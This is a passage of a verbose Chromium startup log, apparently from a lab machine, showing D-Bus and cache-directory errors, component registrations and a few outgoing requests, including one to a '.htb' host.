member: GetNameOwner
signature: s

string "org.chromium.bluetooth.Manager"

[2555:2555:0111/001624.922415:VERBOSE1:webrtc_event_log_manager.cc(96)] WebRTC remote-bound event logging enabled.
[2555:2555:0111/001624.932293:VERBOSE1:pref_proxy_config_tracker_impl.cc(199)] 0x2fbc0623c2c0: set chrome proxy config service to 0x2fbc062e49c0
[2555:2555:0111/001624.978651:VERBOSE1:device_event_log_impl.cc(204)] [00:16:24.951] Display: EVENT: x11_display_manager.cc:110 Displays updated, count: 1
[2555:2555:0111/001624.978783:VERBOSE1:device_event_log_impl.cc(204)] [00:16:24.978] Display: EVENT: x11_display_manager.cc:112 Display[60] bounds=[0,0 1280x1024], workarea=[0,0 1280x1024], scale=1, rotation=0, panel_rotation=0 external detected
[2555:2555:0111/001624.986098:VERBOSE1:cdm_registration.cc(234)] Choosing hinted Widevine 4.10.2891.0 from /opt/chrome-linux64/WidevineCdm/_platform_specific/linux_x64/libwidevinecdm.so
[2555:2570:0111/001624.991393:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2570:0111/001624.991600:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2570:0111/001624.996378:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2570:0111/001624.997176:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2571:0111/001625.031179:VERBOSE1:media_stream_manager.cc(1501)] MSM::InitializeMaybeAsync([this=0x2fbc06324f00])
[2555:2571:0111/001625.031222:VERBOSE1:media_stream_manager.cc(1501)] MDM::MediaDevicesManager()
[2555:2571:0111/001625.032628:VERBOSE1:media_stream_manager.cc(1501)] MSM::MediaStreamManager([this=0x2fbc06324f00]))
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
[2555:2566:0111/001625.689594:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.config/google-chrome-for-testing/Consent To Send Stats": No such file or directory (2)
[2555:2555:0111/001625.702501:VERBOSE1:key_storage_util_linux.cc(46)] Password storage detected desktop environment: (unknown)
[2555:2555:0111/001625.702531:VERBOSE1:key_storage_linux.cc(116)] Selected backend for OSCrypt: BASIC_TEXT
[2555:2555:0111/001625.702552:VERBOSE1:key_storage_linux.cc(135)] OSCrypt did not initialize a backend.
[2555:2570:0111/001625.703630:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2555:0111/001625.706647:VERBOSE1:chrome_browser_cloud_management_controller.cc(161)] Cloud management controller initialization aborted as CBCM is not enabled. Please use the `--enable-chrome-browser-cloud-management` command line flag to enable it if you are not using the official Google Chrome build.
[2555:2566:0111/001625.785812:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.config/google-chrome-for-testing/Default/Web Applications/Logs/WebAppInstallManager.log": No such file or directory (2)
[2555:2570:0111/001625.788117:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2555:0111/001625.790756:VERBOSE1:pref_proxy_config_tracker_impl.cc(199)] 0x2fbc0623cb00: set chrome proxy config service to 0x2fbc062e7c20
[2555:2555:0111/001625.792035:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(310)] MutablePO2TS::MutablePO2TS
[2555:2575:0111/001625.804569:ERROR:simple_backend_impl.cc(79)] Failed to create directory: /var/www/.cache/google-chrome-for-testing/Default/Code Cache/js
[2555:2555:0111/001625.805481:VERBOSE1:pref_proxy_config_tracker_impl.cc(199)] 0x2fbc0623ec00: set chrome proxy config service to 0x2fbc062e9140
[2555:2555:0111/001625.805717:VERBOSE1:device_event_log_impl.cc(204)] [00:16:25.805] Bluetooth: EVENT: bluetooth_api.cc:82 BluetoothAPI: 0x2fbc06319800
[2555:2579:0111/001625.808777:ERROR:simple_backend_impl.cc(79)] Failed to create directory: /var/www/.cache/google-chrome-for-testing/Default/Code Cache/wasm
[2555:2579:0111/001625.808839:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Code Cache/wasm/index": No such file or directory (2)
[2555:2579:0111/001625.808867:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Code Cache/wasm/index-dir": No such file or directory (2)
[2555:2579:0111/001625.808885:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Code Cache/wasm/the-real-index": No such file or directory (2)
[2555:2575:0111/001625.809281:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Code Cache/js/index": No such file or directory (2)
[2555:2575:0111/001625.809315:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Code Cache/js/index-dir": No such file or directory (2)
[2555:2575:0111/001625.809341:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Code Cache/js/the-real-index": No such file or directory (2)
[2555:2575:0111/001625.809787:ERROR:simple_backend_impl.cc(79)] Failed to create directory: /var/www/.cache/google-chrome-for-testing/Default/Code Cache/js
[2555:2575:0111/001625.809812:ERROR:simple_backend_impl.cc(747)] Simple Cache Backend: wrong file structure on disk: 1 path: /var/www/.cache/google-chrome-for-testing/Default/Code Cache/js
[2555:2579:0111/001625.810769:ERROR:simple_backend_impl.cc(79)] Failed to create directory: /var/www/.cache/google-chrome-for-testing/Default/Code Cache/wasm
[2555:2579:0111/001625.810790:ERROR:simple_backend_impl.cc(747)] Simple Cache Backend: wrong file structure on disk: 1 path: /var/www/.cache/google-chrome-for-testing/Default/Code Cache/wasm
[2555:2599:0111/001625.813046:ERROR:disk_cache.cc(216)] Unable to create cache
[2555:2599:0111/001625.813073:ERROR:disk_cache.cc(216)] Unable to create cache
[2555:2555:0111/001625.816923:VERBOSE1:gaia_auth_util.cc(55)] Canonicalized @gmail.com to @gmail.com
[2555:2555:0111/001625.816950:VERBOSE1:gaia_auth_util.cc(55)] Canonicalized @gmail.com to @gmail.com
[2555:2555:0111/001625.825374:VERBOSE1:bluetooth_low_energy_event_router.cc(291)] Initializing BluetoothLowEnergyEventRouter.
[2555:2555:0111/001625.833423:VERBOSE1:gaia_auth_util.cc(55)] Canonicalized @gmail.com to @gmail.com
[2555:2555:0111/001625.833444:VERBOSE1:gaia_auth_util.cc(55)] Canonicalized @gmail.com to @gmail.com
[2555:2555:0111/001625.833537:VERBOSE1:account_reconcilor.cc(181)] AccountReconcilor::AccountReconcilor
[2555:2555:0111/001625.833551:VERBOSE1:account_reconcilor.cc(219)] AccountReconcilor::Initialize
[2555:2555:0111/001625.833584:VERBOSE1:account_reconcilor.cc(273)] AccountReconcilor::RegisterWithContentSettings
[2555:2555:0111/001625.833593:VERBOSE1:account_reconcilor.cc(296)] AccountReconcilor::RegisterWithIdentityManager
[2555:2555:0111/001625.862070:VERBOSE1:cached_result_provider.cc(54)] CachedResultProvider loaded prefs with results from previous session: PredictionResult: timestamp: 13399907498883586 result 0: 0 for segmentation key shopping_user
[2583:2583:0111/001625.871160:VERBOSE1:va_stubs.cc(663)] dlopen(libva.so.2) failed.
[2583:2583:0111/001625.871385:VERBOSE1:va_stubs.cc(665)] dlerror() says:
libva.so.2: cannot open shared object file: No such file or directory
[2583:2583:0111/001625.872576:VERBOSE1:vaapi_wrapper.cc(1556)] GetHandle(): Either VADisplayStateSingleton::PreSandboxInitialization() hasn't been called or that method failed to find a suitable render node
[2583:2583:0111/001625.873839:WARNING:gpu_memory_buffer_support_x11.cc(49)] dri3 extension not supported.
[2583:2583:0111/001625.879522:WARNING:sandbox_linux.cc(420)] InitializeSandbox() called with multiple threads in process gpu-process.
[2583:2583:0111/001625.882212:WARNING:viz_main_impl.cc(85)] VizNullHypothesis is disabled (not a warning)
[2555:2555:0111/001625.883644:VERBOSE1:extension_service.cc(1438)] AddComponentExtension Web Store
[2555:2555:0111/001625.892478:VERBOSE1:extension_service.cc(1438)] AddComponentExtension Chromium PDF Viewer
[2555:2555:0111/001625.897794:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/tmp/extension_6962ebd7c33750.47114202/_metadata/verified_contents.json": No such file or directory (2)
[2555:2555:0111/001625.897839:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/tmp/extension_6962ebd7c33750.47114202/_metadata/computed_hashes.json": No such file or directory (2)
[2555:2555:0111/001625.897858:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/tmp/extension_6962ebd7c33750.47114202/_metadata/generated_indexed_rulesets": No such file or directory (2)
[2555:2555:0111/001625.897895:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/tmp/extension_6962ebd7c33750.47114202/_metadata": No such file or directory (2)
[2555:2555:0111/001625.923995:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2555:2555:0111/001625.924046:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2555:2555:0111/001625.924391:VERBOSE1:profile_manager.cc(1921)] ForceSigninCheck: 0, 0, 1
[2555:2567:0111/001625.927193:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.config/google-chrome-for-testing/Default/Policy/User Policy": No such file or directory (2)
[2555:2567:0111/001625.927235:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.config/google-chrome-for-testing/Default/Policy/Signing Key": No such file or directory (2)

DevTools listening on ws://127.0.0.1:40899/devtools/browser/d228454d-b707-4ea4-83a9-29851a07bb18
[2555:2566:0111/001625.932234:VERBOSE1:component_installer.cc(481)] StartRegistration for Widevine Content Decryption Module
[2555:2566:0111/001625.932427:VERBOSE1:component_installer.cc(316)] Preinstalled component found for Widevine Content Decryption Module at /opt/chrome-linux64/WidevineCdm with version 4.10.2891.0.
[2555:2567:0111/001625.932427:VERBOSE1:component_installer.cc(481)] StartRegistration for Subresource Filter Rules
[2555:2555:0111/001625.935676:VERBOSE1:on_device_head_suggest_component_installer.cc(61)] On Device Head Component will fetch model for locale: ENUS500000
[2555:2555:0111/001625.935754:VERBOSE1:trust_token_key_commitments_component_installer.cc(23)] Registering Trust Token Key Commitments component.
[2555:2568:0111/001625.935803:VERBOSE1:component_installer.cc(481)] StartRegistration for OnDeviceHeadSuggest
[2555:2567:0111/001625.936012:VERBOSE1:component_installer.cc(481)] StartRegistration for Optimization Hints
[2555:2566:0111/001625.936094:VERBOSE1:component_installer.cc(481)] StartRegistration for Trust Token Key Commitments
[2555:2555:0111/001625.936612:VERBOSE1:first_party_sets_component_installer.cc(39)] Registering Related Website Sets component.
[2555:2555:0111/001625.936660:VERBOSE1:masked_domain_list_component_installer.cc(24)] Registering Masked Domain List component.
[2555:2555:0111/001625.936706:VERBOSE1:privacy_sandbox_attestations_component_installer.cc(181)] Registering Privacy Sandbox Attestations component
[2555:2576:0111/001625.936747:VERBOSE1:component_installer.cc(481)] StartRegistration for Privacy Sandbox Attestations
[2555:2555:0111/001625.936751:VERBOSE1:afp_blocked_domain_list_component_installer.cc(180)] Registering Anti-Fingerprinting Blocked Domain List Component.
[2555:2578:0111/001625.936951:VERBOSE1:component_installer.cc(481)] StartRegistration for Fingerprinting Protection Filter Rules
[2555:2555:0111/001625.936970:VERBOSE1:file_type_policies_component_installer.cc(128)] Registering File Type Policies component.
[2555:2579:0111/001625.937249:VERBOSE1:component_installer.cc(481)] StartRegistration for History Search
[2555:2568:0111/001625.937536:VERBOSE1:component_installer.cc(481)] StartRegistration for Certificate Error Assistant
[2555:2555:0111/001625.937649:VERBOSE1:hyphenation_component_installer.cc(151)] Registering Hyphenation component.
[2555:2575:0111/001625.936725:VERBOSE1:component_installer.cc(481)] StartRegistration for Masked Domain List
[2555:2566:0111/001625.938022:VERBOSE1:component_installer.cc(481)] StartRegistration for CRLSet
[2555:2577:0111/001625.938052:VERBOSE1:component_installer.cc(481)] StartRegistration for File Type Policies
[2555:2567:0111/001625.938325:VERBOSE1:component_installer.cc(481)] StartRegistration for Origin Trials
[2555:2614:0111/001625.938378:VERBOSE1:component_installer.cc(481)] StartRegistration for MEI Preload
[2555:2600:0111/001625.938485:VERBOSE1:component_installer.cc(481)] StartRegistration for PKI Metadata
[2555:2579:0111/001625.938959:VERBOSE1:component_installer.cc(481)] StartRegistration for Safety Tips
[2555:2613:0111/001625.938979:VERBOSE1:component_installer.cc(481)] StartRegistration for Crowd Deny
[2555:2576:0111/001625.939269:VERBOSE1:component_installer.cc(316)] Preinstalled component found for Privacy Sandbox Attestations at /opt/chrome-linux64/PrivacySandboxAttestationsPreloaded with version 2025.1.31.0.
[2555:2578:0111/001625.939568:VERBOSE1:component_installer.cc(481)] StartRegistration for Hyphenation
[2555:2568:0111/001625.940104:VERBOSE1:component_installer.cc(481)] StartRegistration for Zxcvbn Data Dictionaries
[2555:2566:0111/001625.940322:VERBOSE1:component_installer.cc(481)] StartRegistration for Autofill States Data
[2555:2614:0111/001625.941227:VERBOSE1:component_installer.cc(316)] Preinstalled component found for MEI Preload at /opt/chrome-linux64/MEIPreload with version 1.0.7.1652906823.
[2555:2578:0111/001625.943114:VERBOSE1:component_installer.cc(316)] Preinstalled component found for Hyphenation at /opt/chrome-linux64/hyphen-data with version 1.0.0.0.
[2555:2555:0111/001625.948631:VERBOSE1:tpcd_metadata_component_installer.cc(23)] Third Party Cookie Deprecation Metadata component.
[2555:2555:0111/001625.948699:VERBOSE1:translate_kit_component_installer.cc(160)] Registering TranslateKit component.
[2555:2567:0111/001625.948736:VERBOSE1:component_installer.cc(481)] StartRegistration for Third-Party Cookie Deprecation Metadata
[2555:2555:0111/001625.948761:VERBOSE1:open_cookie_database_component_installer.cc(23)] Registering Open Cookie Database component.
[2555:2555:0111/001625.948790:VERBOSE1:cookie_readiness_list_component_installer.cc(24)] Registering Cookie Readiness List component.
[2555:2575:0111/001625.948853:VERBOSE1:component_installer.cc(481)] StartRegistration for Plus Address Blocklist
[2555:2566:0111/001625.949171:VERBOSE1:component_installer.cc(481)] StartRegistration for Open Cookie Database
[2555:2568:0111/001625.949235:VERBOSE1:component_installer.cc(481)] StartRegistration for Cookie Readiness List
[2555:2576:0111/001625.949402:VERBOSE1:component_installer.cc(481)] StartRegistration for Amount Extraction Heuristic Regexes
[2555:2566:0111/001625.957875:VERBOSE1:command_storage_backend.cc(608)] CommandStorageBackend::ReadLastSessionCommands, reading commands from: /var/www/.config/google-chrome-for-testing/Default/Sessions/Session_13399919510846880
[2555:2567:0111/001625.958500:VERBOSE1:command_storage_backend.cc(608)] CommandStorageBackend::ReadLastSessionCommands, reading commands from: /var/www/.config/google-chrome-for-testing/Default/Sessions/Tabs_13399919511055706
[2555:2555:0111/001625.959671:VERBOSE1:profile_manager.cc(1272)] AddKeepAlive(Default, kBrowserWindow). keep_alives=[kWaitingForFirstBrowserWindow (1), kBrowserWindow (1)]
[2555:2555:0111/001625.960393:VERBOSE1:profile_manager.cc(1350)] ClearFirstBrowserWindowKeepAlive(Default). keep_alives=[kBrowserWindow (1)]
[2555:2570:0111/001626.026795:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2570:0111/001626.026830:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2566:0111/001626.113913:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2555:0111/001626.213000:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2555:2555:0111/001626.282007:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2555:2555:0111/001626.283058:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2555:2555:0111/001626.290713:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2555:2570:0111/001626.290909:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2555:0111/001626.291913:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2585:2590:0111/001626.301770:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://clients2.google.com/time/1/current?cup2key=8:z6rGubbiEwgZrAhMkLxfxR_znI73QuoBSyJTp1b7-gU&cup2hreq=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
[2585:2590:0111/001626.316839:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/
[2585:2590:0111/001626.317292:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/
[2585:2590:0111/001626.317559:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard
[2555:2555:0111/001626.332021:VERBOSE1:component_installer.cc(560)] FinishRegistration for Widevine Content Decryption Module
[2555:2555:0111/001626.332096:VERBOSE1:component_updater_service.cc(165)] CrxUpdateService starting up. First update attempt will take place in 60 s seconds. Next update attempt will take place in 18000 s seconds. 
[2555:2555:0111/001626.332157:VERBOSE1:component_installer.cc(601)] Component ready, version 4.10.2891.0 in /opt/chrome-linux64/WidevineCdm
[2555:2555:0111/001626.332195:VERBOSE1:component_installer.cc(560)] FinishRegistration for Subresource Filter Rules
[2555:2555:0111/001626.332237:VERBOSE1:component_installer.cc(560)] FinishRegistration for OnDeviceHeadSuggest
[2555:2555:0111/001626.332259:VERBOSE1:component_installer.cc(560)] FinishRegistration for Trust Token Key Commitments
[2555:2555:0111/001626.332298:VERBOSE1:component_installer.cc(560)] FinishRegistration for Optimization Hints
[2555:2555:0111/001626.332321:VERBOSE1:component_installer.cc(560)] FinishRegistration for History Search
[2555:2555:0111/001626.332346:VERBOSE1:component_installer.cc(560)] FinishRegistration for Fingerprinting Protection Filter Rules
[2555:2555:0111/001626.332389:VERBOSE1:component_installer.cc(560)] FinishRegistration for File Type Policies
[2555:2555:0111/001626.332408:VERBOSE1:component_installer.cc(560)] FinishRegistration for Origin Trials
[2555:2555:0111/001626.332440:VERBOSE1:component_installer.cc(560)] FinishRegistration for Certificate Error Assistant
[2555:2555:0111/001626.332463:VERBOSE1:component_installer.cc(560)] FinishRegistration for CRLSet
[2555:2555:0111/001626.332480:VERBOSE1:component_installer.cc(560)] FinishRegistration for Safety Tips
[2555:2555:0111/001626.332498:VERBOSE1:component_installer.cc(560)] FinishRegistration for Privacy Sandbox Attestations
[2555:2555:0111/001626.332512:VERBOSE1:component_installer.cc(601)] Component ready, version 2025.1.31.0 in /opt/chrome-linux64/PrivacySandboxAttestationsPreloaded
[2555:2555:0111/001626.332543:VERBOSE1:privacy_sandbox_attestations_component_installer.cc(111)] Privacy Sandbox Attestations Component ready, version 2025.1.31.0 in /opt/chrome-linux64/PrivacySandboxAttestationsPreloaded
[2555:2555:0111/001626.332554:VERBOSE1:privacy_sandbox_attestations_component_installer.cc(188)] Received privacy sandbox attestations file
[2555:2555:0111/001626.332585:VERBOSE1:component_installer.cc(560)] FinishRegistration for Masked Domain List
[2555:2555:0111/001626.332630:VERBOSE1:component_installer.cc(560)] FinishRegistration for PKI Metadata
[2555:2555:0111/001626.332660:VERBOSE1:component_installer.cc(560)] FinishRegistration for Crowd Deny
[2555:2555:0111/001626.332681:VERBOSE1:component_installer.cc(560)] FinishRegistration for Zxcvbn Data Dictionaries
[2555:2555:0111/001626.332713:VERBOSE1:component_installer.cc(560)] FinishRegistration for MEI Preload
[2555:2555:0111/001626.332727:VERBOSE1:component_installer.cc(601)] Component ready, version 1.0.7.1652906823 in /opt/chrome-linux64/MEIPreload
[2555:2568:0111/001626.332738:VERBOSE1:widevine_cdm_component_installer.cc(398)] Updating hint file with Widevine CDM 4.10.2891.0
[2555:2555:0111/001626.332746:VERBOSE1:component_installer.cc(560)] FinishRegistration for Autofill States Data
[2555:2555:0111/001626.332764:VERBOSE1:component_installer.cc(560)] FinishRegistration for Hyphenation
[2555:2555:0111/001626.332782:VERBOSE1:component_installer.cc(601)] Component ready, version 1.0.0.0 in /opt/chrome-linux64/hyphen-data
[2555:2555:0111/001626.332790:VERBOSE1:hyphenation_component_installer.cc(110)] Hyphenation Component ready, version 1.0.0.0 in /opt/chrome-linux64/hyphen-data
[2555:2555:0111/001626.332829:VERBOSE1:component_installer.cc(560)] FinishRegistration for Cookie Readiness List
[2555:2555:0111/001626.333068:VERBOSE1:component_installer.cc(560)] FinishRegistration for Third-Party Cookie Deprecation Metadata
[2555:2555:0111/001626.333095:VERBOSE1:component_installer.cc(560)] FinishRegistration for Plus Address Blocklist
[2555:2555:0111/001626.333115:VERBOSE1:component_installer.cc(560)] FinishRegistration for Open Cookie Database
[2555:2555:0111/001626.333187:VERBOSE1:component_installer.cc(560)] FinishRegistration for Amount Extraction Heuristic Regexes
[2555:2555:0111/001626.343503:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2555:2555:0111/001626.343583:VERBOSE1:idle_linux.cc(129)] org.freedesktop.ScreenSaver D-Bus service does not exist
[2555:2566:0111/001626.343732:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2654:0111/001626.370105:VERBOSE1:bus.cc(917)] Method call: message_type: MESSAGE_METHOD_CALL
interface: org.freedesktop.DBus
member: GetNameOwner
signature: s

string "org.freedesktop.UPower"

[2555:2555:0111/001626.372615:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2555:2654:0111/001626.373292:VERBOSE1:bus.cc(700)] Filter function already exists: 1 with associated data: 0x2fbc0731b100
[2555:2654:0111/001626.373347:VERBOSE1:bus.cc(917)] Method call: message_type: MESSAGE_METHOD_CALL
interface: org.freedesktop.DBus
member: GetNameOwner
signature: s

string "org.freedesktop.UPower"

[2555:2654:0111/001626.385883:VERBOSE1:bus.cc(721)] Requested to remove an unknown filter function: 1 with associated data: 0x2fbc0731b020
[2555:2654:0111/001626.385920:VERBOSE1:bus.cc(721)] Requested to remove an unknown filter function: 1 with associated data: 0x2fbc0731af40
[2555:2555:0111/001626.389895:VERBOSE1:privacy_sandbox_attestations.cc(411)] Parsed Privacy Sandbox Attestation list version: 2025.1.31.0
[2555:2555:0111/001626.389973:VERBOSE1:privacy_sandbox_attestations.cc(413)] Number of attestation entries: 259
[2555:2555:0111/001626.390530:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2555:2555:0111/001626.390551:VERBOSE1:idle_linux.cc(129)] org.cinnamon.ScreenSaver D-Bus service does not exist
[2555:2575:0111/001626.390633:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2585:2589:0111/001626.396287:ERROR:simple_backend_impl.cc(79)] Failed to create directory: /var/www/.cache/google-chrome-for-testing/Default/Cache/Cache_Data
[2585:2589:0111/001626.396666:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/Cache_Data/index": No such file or directory (2)
[2585:2589:0111/001626.397646:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/Cache_Data/index-dir": No such file or directory (2)
[2585:2589:0111/001626.397717:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/Cache_Data/the-real-index": No such file or directory (2)
[2585:2589:0111/001626.397981:ERROR:simple_backend_impl.cc(79)] Failed to create directory: /var/www/.cache/google-chrome-for-testing/Default/Cache/Cache_Data
[2585:2589:0111/001626.398028:ERROR:simple_backend_impl.cc(747)] Simple Cache Backend: wrong file structure on disk: 1 path: /var/www/.cache/google-chrome-for-testing/Default/Cache/Cache_Data
[2585:2590:0111/001626.399060:ERROR:disk_cache.cc(216)] Unable to create cache
[2585:2588:0111/001626.399221:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_000": No such file or directory (2)
[2585:2588:0111/001626.399442:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_001": No such file or directory (2)
[2585:2588:0111/001626.399488:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_002": No such file or directory (2)
[2585:2588:0111/001626.399815:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_003": No such file or directory (2)
[2585:2588:0111/001626.399878:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_004": No such file or directory (2)
[2585:2588:0111/001626.399919:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_005": No such file or directory (2)
[2585:2588:0111/001626.400490:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_006": No such file or directory (2)
[2585:2588:0111/001626.400549:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_007": No such file or directory (2)
[2585:2588:0111/001626.400590:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_008": No such file or directory (2)
[2585:2588:0111/001626.400812:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_009": No such file or directory (2)
[2585:2588:0111/001626.401332:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_010": No such file or directory (2)
[2585:2588:0111/001626.401424:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_011": No such file or directory (2)
[2585:2588:0111/001626.401854:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_012": No such file or directory (2)
[2585:2588:0111/001626.401969:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_013": No such file or directory (2)
[2585:2588:0111/001626.402010:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_014": No such file or directory (2)
[2585:2588:0111/001626.402044:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_015": No such file or directory (2)
[2585:2588:0111/001626.402088:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_016": No such file or directory (2)
[2585:2588:0111/001626.402150:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_017": No such file or directory (2)
[2585:2588:0111/001626.402193:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_018": No such file or directory (2)
[2585:2588:0111/001626.402314:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_019": No such file or directory (2)
[2585:2588:0111/001626.402351:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_020": No such file or directory (2)
[2585:2588:0111/001626.402372:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_021": No such file or directory (2)
[2585:2588:0111/001626.402389:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_022": No such file or directory (2)
[2585:2588:0111/001626.402406:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_023": No such file or directory (2)
[2585:2588:0111/001626.402423:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_024": No such file or directory (2)
